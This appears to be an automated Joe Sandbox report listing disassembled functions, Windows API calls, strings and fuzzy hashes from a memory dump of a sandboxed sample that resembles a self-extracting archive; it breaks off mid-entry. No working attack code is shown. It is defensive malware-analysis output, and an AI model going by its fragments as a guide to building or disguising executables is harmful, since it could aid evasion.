Opcode ID: 7a9eb64808bd97f520f3069089fe8b1587ea00ec7056a64b0a551d7a246df817
Instruction ID: 594b439f7b65583bd6e02785d8f36b2aa0c8d7a70ce347e5dfac56c70b8f8edf
Opcode Fuzzy Hash: 7a9eb64808bd97f520f3069089fe8b1587ea00ec7056a64b0a551d7a246df817
Instruction Fuzzy Hash: D8F0A43614C60167C61233356C5AB5B2AE9DFD3BA1F3402B8F624971A2FF68C801A565

Function 00B9DC3B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00B9DC47
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B9DC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B9DC72
TranslateMessage.USER32(?), ref: 00B9DC7C
DispatchMessageW.USER32(?), ref: 00B9DC86
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00B9DC91

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 1ded835908c5331ef3d0ff657e865fbf75483eccd698a6aa69a90e47dc10146b
Instruction ID: a5a6e8ce5bc486454d1b9d12d66e4f276556d8fdf96faa7a4ef1010a2aa43a0b
Opcode Fuzzy Hash: 1ded835908c5331ef3d0ff657e865fbf75483eccd698a6aa69a90e47dc10146b
Instruction Fuzzy Hash: 25F03C72A01229BBCF20ABA5DC4CEDB7FBDEF41B91B004121F50AE7051DA749646C7A0

Function 00B8C0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 00B905DA: _wcslen.LIBCMT ref: 00B905E0

Part of subcall function 00B8B92D: _wcsrchr.LIBVCRUNTIME ref: 00B8B944

_wcslen.LIBCMT ref: 00B8C197
_wcslen.LIBCMT ref: 00B8C1DF

Strings

.sfx, xrefs: 00B8C11A
.exe, xrefs: 00B8C10B
.rar, xrefs: 00B8C0E1, 00B8C134

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: c88224a99567109455639955bc3ba53f75adf4486343cde0120df8db2e59b2b2
Instruction ID: f217683ba578a2e4080b2f9d7414768731e21098516168b7bbe6fb26bda3ca7f
Opcode Fuzzy Hash: c88224a99567109455639955bc3ba53f75adf4486343cde0120df8db2e59b2b2
Instruction Fuzzy Hash: F341F3615503169ACA31BF348896E7ABBE8EF41B44F1049CEF9926B1E1EB704981C371

Function 00B9CE87 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00B9CE9D

Part of subcall function 00B8B690: _wcslen.LIBCMT ref: 00B8B696

_swprintf.LIBCMT ref: 00B9CED1

Part of subcall function 00B84092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B840A5

SetDlgItemTextW.USER32(?,00000066,00BC946A), ref: 00B9CEF1
EndDialog.USER32(?,00000001), ref: 00B9CFFE

Strings

%s%s%u, xrefs: 00B9CEC6

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: 9ea6ba1da27e6fed868c7daf17f2e6960d8c1ecd3f473dd8b5dbd8ddd2fe7486
Instruction ID: ef36596831a8737b15c667fa76105b26ca5d07aab931b0a55b05e4e50ae77939
Opcode Fuzzy Hash: 9ea6ba1da27e6fed868c7daf17f2e6960d8c1ecd3f473dd8b5dbd8ddd2fe7486
Instruction Fuzzy Hash: FD416CB1900658AADF25ABA1CC85FEE77FCEB05341F4080E6F909E7151EE709A84CF65

Function 00B8BB03 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B8BB27
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,00B8A275,?,?,00000800,?,00B8A23A,?,00B8755C), ref: 00B8BBC5
_wcslen.LIBCMT ref: 00B8BC3B

Strings

UNC, xrefs: 00B8BBA7
\\?\, xrefs: 00B8BB52, 00B8BB99, 00B8BBF7, 00B8BC4E

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: e48a9c43b01514083c6ab7a83e04233beddbc2977d992a563fd2a5fe7cf3f760
Instruction ID: aa91a7f7ba80307199ee5299e067abe250f77da3c5d933e7f4cfce2e246b59ed
Opcode Fuzzy Hash: e48a9c43b01514083c6ab7a83e04233beddbc2977d992a563fd2a5fe7cf3f760
Instruction Fuzzy Hash: 34415B31440216BADF21BF70CC45EEA77E9EF45790F1044E6F955A3261EBB09A90CF60

Function 00B9B6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00B9B6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 00B9B712
DeleteObject.GDI32(00000000), ref: 00B9B744
DeleteObject.GDI32(00000000), ref: 00B9B767

Part of subcall function 00B9A6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00B9B73D,00000066), ref: 00B9A6D5
Part of subcall function 00B9A6C2: SizeofResource.KERNEL32(00000000,?,?,?,00B9B73D,00000066), ref: 00B9A6EC
Part of subcall function 00B9A6C2: LoadResource.KERNEL32(00000000,?,?,?,00B9B73D,00000066), ref: 00B9A703
Part of subcall function 00B9A6C2: LockResource.KERNEL32(00000000,?,?,?,00B9B73D,00000066), ref: 00B9A712
Part of subcall function 00B9A6C2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00B9B73D,00000066), ref: 00B9A72D
Part of subcall function 00B9A6C2: GlobalLock.KERNEL32(00000000), ref: 00B9A73E
Part of subcall function 00B9A6C2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00B9A762
Part of subcall function 00B9A6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00B9A7A7
Part of subcall function 00B9A6C2: GlobalUnlock.KERNEL32(00000000), ref: 00B9A7C6
Part of subcall function 00B9A6C2: GlobalFree.KERNEL32(00000000), ref: 00B9A7CD

Strings

], xrefs: 00B9B71A

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: d1b062d9224c2f8086dd968f1a9a81a18f43d326c0c5170d73279e80ad8a7c65
Instruction ID: 9e6000393d2250107b89aedbdbe3f400a2a8ef7d49076aa05052402502379533
Opcode Fuzzy Hash: d1b062d9224c2f8086dd968f1a9a81a18f43d326c0c5170d73279e80ad8a7c65
Instruction Fuzzy Hash: 0801C43650011567CF1277B46D49E7F7AFAEBC1B52F1901B1F900B7292DF258D0542A1

Function 00B9D600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00B81316: GetDlgItem.USER32(00000000,00003021), ref: 00B8135A
Part of subcall function 00B81316: SetWindowTextW.USER32(00000000,00BB35F4), ref: 00B81370

EndDialog.USER32(?,00000001), ref: 00B9D64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00B9D661
SetDlgItemTextW.USER32(?,00000066,?), ref: 00B9D675
SetDlgItemTextW.USER32(?,00000068), ref: 00B9D684

Strings

RENAMEDLG, xrefs: 00B9D618

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 39974deed2ae4ae433f4e11da39fd4b56c55224f6c3c1ed81d8607d7ef58888d
Instruction ID: 7b08f7695a550ca7ea76390fdbda8a7dc456b770dc05640adb321188f20ce20b
Opcode Fuzzy Hash: 39974deed2ae4ae433f4e11da39fd4b56c55224f6c3c1ed81d8607d7ef58888d
Instruction Fuzzy Hash: 82012833345210BBD6215F669D49F6777DDEB9AB41F010465F305B70D0CAA29A048776

Function 00BA7E73 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00BA7E24,00000000,?,00BA7DC4,00000000,00BBC300,0000000C,00BA7F1B,00000000,00000002), ref: 00BA7E93
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00BA7EA6
FreeLibrary.KERNEL32(00000000,?,?,?,00BA7E24,00000000,?,00BA7DC4,00000000,00BBC300,0000000C,00BA7F1B,00000000,00000002), ref: 00BA7EC9

Strings

CorExitProcess, xrefs: 00BA7E9E
mscoree.dll, xrefs: 00BA7E8C

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0d338f07fa3c844e69953a8d12b3c37371365ab000fc395b8195fa08d9b6da79
Instruction ID: c007922c904df71c383d9f6deb4c87bebb698e2f8a573535cf5bcd58071676e1
Opcode Fuzzy Hash: 0d338f07fa3c844e69953a8d12b3c37371365ab000fc395b8195fa08d9b6da79
Instruction Fuzzy Hash: 53F04431944208BBCB159FA4DC09BAEBFF8EF44715F0041E9F805A3260DFB49E40CA90

Function 00B8F2C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00B9081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00B90836
Part of subcall function 00B9081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00B8F2D8,Crypt32.dll,00000000,00B8F35C,?,?,00B8F33E,?,?,?), ref: 00B90858

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00B8F2E4
GetProcAddress.KERNEL32(00BC81C8,CryptUnprotectMemory), ref: 00B8F2F4

Strings

CryptUnprotectMemory, xrefs: 00B8F2EA
CryptProtectMemory, xrefs: 00B8F2DE
Crypt32.dll, xrefs: 00B8F2CE

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 6ffa2ae65003ce6b7ad818df2f44d2a86bf9830461c933c880dc2a65b6ef4c76
Instruction ID: d914c0e322756752b6c40bb89dbf2f3433d91ff2b326b55888ac0d258693a046
Opcode Fuzzy Hash: 6ffa2ae65003ce6b7ad818df2f44d2a86bf9830461c933c880dc2a65b6ef4c76
Instruction Fuzzy Hash: A5E04F709507029FCB21AF389C49B65BAD8AF04B00B2489ADF0DAA3660DAF4D540CB50

Function 00BA2BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00BA2CA1
___AdjustPointer.LIBCMT ref: 00BA2CC4
_abort.LIBCMT ref: 00BA2D12
___AdjustPointer.LIBCMT ref: 00BA2D60

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 3f55f729dd72872f375007efcb84163f04e53d22067fc0d3472f3cf054acf3ec
Instruction ID: 4b0c72d6e70c487e73482a00477a78f2665f6ba2b5d6035624a9304bdef62064
Opcode Fuzzy Hash: 3f55f729dd72872f375007efcb84163f04e53d22067fc0d3472f3cf054acf3ec
Instruction Fuzzy Hash: 8251F571508212AFDB299F18D885BBA77E4FF56710F2441AEEC42475A2E731ED40D790

Function 00BABF30 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00BABF39
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BABF5C

Part of subcall function 00BA8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BACA2C,00000000,?,00BA6CBE,?,00000008,?,00BA91E0,?,?,?), ref: 00BA8E38

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00BABF82
_free.LIBCMT ref: 00BABF95
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00BABFA4

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: d28ddbb62a1ac33df54237f4c8dfb7284e977293d81a016dc107187c5426ed34
Instruction ID: 21c1f5a2efc33054a254ff5448631d296ba5824e2f4e0edeec2891e28eecd312
Opcode Fuzzy Hash: d28ddbb62a1ac33df54237f4c8dfb7284e977293d81a016dc107187c5426ed34
Instruction Fuzzy Hash: 7101A7726096157F2321167B5C9DC7F6AEDDEC3FA131802A9F914D3142EF61CD0195B0

Function 00BA9869 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00BC1030,00000200,00BA91AD,00BA617E,?,?,?,?,00B8D984,?,?,?,00000004,00B8D710,?), ref: 00BA986E
_free.LIBCMT ref: 00BA98A3
_free.LIBCMT ref: 00BA98CA
SetLastError.KERNEL32(00000000,00BB3A34,00000050,00BC1030), ref: 00BA98D7
SetLastError.KERNEL32(00000000,00BB3A34,00000050,00BC1030), ref: 00BA98E0

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: be4bafdfe748c20f903e7de7d1c649c8392e25db09013c0d2964085b81dc2b15
Instruction ID: 241791a888b3fb23d60f3c77d30ef3ae4e5420ca57792561f53439500db2f473
Opcode Fuzzy Hash: be4bafdfe748c20f903e7de7d1c649c8392e25db09013c0d2964085b81dc2b15
Instruction Fuzzy Hash: FD01F43614C6056BC31237356C99A1B26E9DFD3BF073102B8F515A31A2EF78CC016171

Function 00B90EED Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00B911CF: ResetEvent.KERNEL32(?), ref: 00B911E1
Part of subcall function 00B911CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00B911F5

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00B90F21
CloseHandle.KERNEL32(?,?), ref: 00B90F3B
DeleteCriticalSection.KERNEL32(?), ref: 00B90F54
CloseHandle.KERNEL32(?), ref: 00B90F60
CloseHandle.KERNEL32(?), ref: 00B90F6C

Part of subcall function 00B90FE4: WaitForSingleObject.KERNEL32(?,000000FF,00B91206,?), ref: 00B90FEA
Part of subcall function 00B90FE4: GetLastError.KERNEL32(?), ref: 00B90FF6

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 8de556214d8c5d19e560d45a6b8b228db14122d3df03325d3cb4b2a089e646f7
Instruction ID: ed62ce51b1078c168f35c1009fb603aa61a1ba5cf681eedb6b0fdbe516edd25b
Opcode Fuzzy Hash: 8de556214d8c5d19e560d45a6b8b228db14122d3df03325d3cb4b2a089e646f7
Instruction Fuzzy Hash: E7015271504B44EFCB22AB64DC85BC6BBE9FF08B10F400969F16B92160CBB57A44CA50

Function 00BAC7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00BAC817

Part of subcall function 00BA8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BAC896,00BB3A34,00000000,00BB3A34,00000000,?,00BAC8BD,00BB3A34,00000007,00BB3A34,?,00BACCBA,00BB3A34), ref: 00BA8DE2
Part of subcall function 00BA8DCC: GetLastError.KERNEL32(00BB3A34,?,00BAC896,00BB3A34,00000000,00BB3A34,00000000,?,00BAC8BD,00BB3A34,00000007,00BB3A34,?,00BACCBA,00BB3A34,00BB3A34), ref: 00BA8DF4

_free.LIBCMT ref: 00BAC829
_free.LIBCMT ref: 00BAC83B
_free.LIBCMT ref: 00BAC84D
_free.LIBCMT ref: 00BAC85F

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5701d3c1c6de54d98ca2c1729551c4bc0d6fe4bdcb20e417f5461543cd00bdc7
Instruction ID: 91f1d51770f1e8e76d55386d28b976082d799de431eee30b16a2cf679396b044
Opcode Fuzzy Hash: 5701d3c1c6de54d98ca2c1729551c4bc0d6fe4bdcb20e417f5461543cd00bdc7
Instruction Fuzzy Hash: 0FF01272508200AB8660DB78E585C6677E9FB02714B5458ADF159D7962CFB4FC80CA64

Function 00B91FDD Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B91FE5
_wcslen.LIBCMT ref: 00B91FF6
_wcslen.LIBCMT ref: 00B92006
_wcslen.LIBCMT ref: 00B92014
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00B8B371,?,?,00000000,?,?,?), ref: 00B9202F

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 37198344aeb4f89477d7c8ab50fcc41954ae125c82d1e4859e2d568c48e8fc26
Instruction ID: f259a50e5f8d99758803d9269f0aa53e99d07278b91cc1f37039214f9b02985f
Opcode Fuzzy Hash: 37198344aeb4f89477d7c8ab50fcc41954ae125c82d1e4859e2d568c48e8fc26
Instruction Fuzzy Hash: F1F09032008014BFCF262F50EC09DCE3FA6EF52B70B118096F61A5B061CB72D661D6E0

Function 00BA8900 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BA891E

